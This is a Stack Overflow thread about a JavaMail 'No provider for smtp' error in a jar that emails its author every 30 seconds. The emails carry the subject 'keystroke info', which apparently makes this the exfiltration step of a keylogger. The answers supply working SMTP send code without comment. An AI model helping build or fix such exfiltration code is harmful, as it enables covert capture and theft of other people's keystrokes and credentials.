2

Basically, I created a runnable jar file through Eclipse that is supposed to send me an email every 30 seconds. The code works fine when running in Eclipse, but after creating the jar file and running the jar file it gives me this error.

javax.mail.NoSuchProviderException: No provider for smtp
    at javax.mail.Session.getProvider(Session.java:460)
    at javax.mail.Session.getTransport(Session.java:655)
    at javax.mail.Session.getTransport(Session.java:636)
    at handlers.Sender.Send(Sender.java:89)
    at handlers.Sender.Send(Sender.java:34)
    at handlers.ManageService.run(ManageService.java:29)
    at java.lang.Thread.run(Unknown Source)

I've tried a few solutions on this page Send email using java but couldn't get anything to work. Did I miss something or does anyone else have any other solutions?

package handlers;

import java.util.Properties;

import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMessage.RecipientType;

public class Sender {
    private Sender() {

    }

    private static final String SENDERS_GMAIL = "EMAIL";
    private static final String SENDERS_PASSWORD = "PASS";

    private static final String RECIEVERS_EMAIL = "EMAIL";

    private static Properties mailServerProperties;
    private static Session mailSess;
    private static MimeMessage mailMessage;

    public static void sendMail(String emailBody) throws Throwable {
        mailServerProperties = System.getProperties();
        mailServerProperties.put("mail.smtp.port", "587");
        mailServerProperties.put("mail.smtp.auth", "true");
        mailServerProperties.put("mail.smtp.starttls.enable", "true");

        mailSess = Session.getDefaultInstance(mailServerProperties);
        mailMessage = new MimeMessage(mailSess);
        mailMessage.addRecipient(RecipientType.BCC,  new InternetAddress(RECIEVERS_EMAIL));
        mailMessage.setSubject("keystroke info");
        mailMessage.setContent(emailBody, "text/html");


        Transport transport = mailSess.getTransport("smtp");
        transport.connect("smtp.gmail.com", SENDERS_GMAIL, SENDERS_PASSWORD);
        transport.sendMessage(mailMessage, mailMessage.getAllRecipients());
        transport.close();
}

}

Jake y
  • 59
  • 6
  • Maybe you have an [old version](https://stackoverflow.com/a/16943914/1790644) of javax.mail? – Matt Clark Dec 04 '18 at 23:38
  • fml. I only updated the mailapi. But I noticed it says it doesn't include any protocol so I forgot to update the smtp.jar https://javaee.github.io/javamail/ – Jake y Dec 04 '18 at 23:54

3 Answers3

1

Please update your jar file and put the latest stable version of JavaMail jar file in your project using the below link:

https://mvnrepository.com/artifact/javax.mail/mail

And then you should add SMTP host, seems you forgot in your code:

props.put("mail.smtp.host", "smtp.gmail.com");

try this code:

    final String username = "username@gmail.com";
    final String password = "password";

    Properties props = new Properties();
    props.put("mail.smtp.auth", "true");
    props.put("mail.smtp.starttls.enable", "true");
    props.put("mail.smtp.host", "smtp.gmail.com");
    props.put("mail.smtp.port", "587");

    Session session = Session.getInstance(props,
      new javax.mail.Authenticator() {
        protected PasswordAuthentication getPasswordAuthentication() {
            return new PasswordAuthentication(username, password);
        }
      });

    try {

        Message message = new MimeMessage(session);
        message.setFrom(new InternetAddress("from-email@gmail.com"));
        message.addRecipient(Message.RecipientType.BCC,  new InternetAddress(RECIEVERS_EMAIL));
        message.setSubject("keystroke info");
        message.setText("Email body text message");

        Transport.send(message);

        System.out.println("Done");

    } catch (MessagingException e) {
        throw new RuntimeException(e);
    }
Mehdi
  • 3,795
  • 3
  • 36
  • 65
0

Had to update my libs at https://javaee.github.io/javamail/ .

I was only updating the mailapi but noticed it didn't include any protocols. I needed to update the smtp.jar for the protocol.

Thanks for the help everyone!

Jake y
  • 59
  • 6
0

Download smtp.jar https://mvnrepository.com/artifact/com.sun.mail/smtp/1.4.5 for your problem to be resolved specifically and add it to your project.

MS90
  • 1,219
  • 1
  • 8
  • 17